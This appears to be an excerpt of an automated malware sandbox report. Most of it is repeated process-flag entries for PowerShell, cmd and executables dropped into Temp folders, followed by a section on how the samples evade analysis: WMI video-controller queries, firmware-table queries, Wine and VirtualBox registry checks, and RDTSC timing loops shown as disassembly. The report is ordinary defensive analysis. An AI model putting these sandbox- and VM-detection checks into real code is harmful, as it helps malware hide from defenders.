Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe System information queried: FirmwareTableInformation
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\random.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\random.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 993C94 second address: 993C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A4215 second address: 9A4224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FAC0CE0F756h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A4224 second address: 9A422A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A4399 second address: 9A439D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A439D second address: 9A43A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A43A3 second address: 9A43AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FAC0CE0F756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A43AD second address: 9A43B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A43B1 second address: 9A43BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A43BC second address: 9A43D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FAC0CEEBF96h 0x0000000a jmp 00007FAC0CEEBF9Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A43D4 second address: 9A43F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jno 00007FAC0CE0F767h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A46FB second address: 9A4703 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A4703 second address: 9A470E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007FAC0CE0F756h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A82FA second address: 9A8300 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A8381 second address: 9A8387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A8387 second address: 9A8404 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push eax 0x0000000c mov si, dx 0x0000000f pop ecx 0x00000010 push 00000000h 0x00000012 jne 00007FAC0CEEBF9Ch 0x00000018 mov ecx, dword ptr [ebp+122D2D0Ch] 0x0000001e sub dword ptr [ebp+122D3977h], ecx 0x00000024 push B865E401h 0x00000029 pushad 0x0000002a jp 00007FAC0CEEBF98h 0x00000030 pushad 0x00000031 popad 0x00000032 push ecx 0x00000033 push edx 0x00000034 pop edx 0x00000035 pop ecx 0x00000036 popad 0x00000037 add dword ptr [esp], 479A1C7Fh 0x0000003e mov cx, si 0x00000041 push 00000003h 0x00000043 movsx edi, ax 0x00000046 push 00000000h 0x00000048 push 00000000h 0x0000004a push ecx 0x0000004b call 00007FAC0CEEBF98h 0x00000050 pop ecx 0x00000051 mov dword ptr [esp+04h], ecx 0x00000055 add dword ptr [esp+04h], 0000001Bh 0x0000005d inc ecx 0x0000005e push ecx 0x0000005f ret 0x00000060 pop ecx 0x00000061 ret 0x00000062 push 00000003h 0x00000064 mov dh, 3Bh 0x00000066 push DAF3EBA8h 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e jng 00007FAC0CEEBF96h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A8404 second address: 9A8408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A8725 second address: 9A872B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A872B second address: 9A872F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9A872F second address: 9A8747 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jnc 00007FAC0CEEBF96h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C7725 second address: 9C7729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C7729 second address: 9C772F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C772F second address: 9C773E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC0CE0F75Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C773E second address: 9C7770 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAC0CEEBF9Bh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FAC0CEEBFA9h 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C7770 second address: 9C778E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAC0CE0F756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAC0CE0F762h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C778E second address: 9C7798 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAC0CEEBF96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C7798 second address: 9C779E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
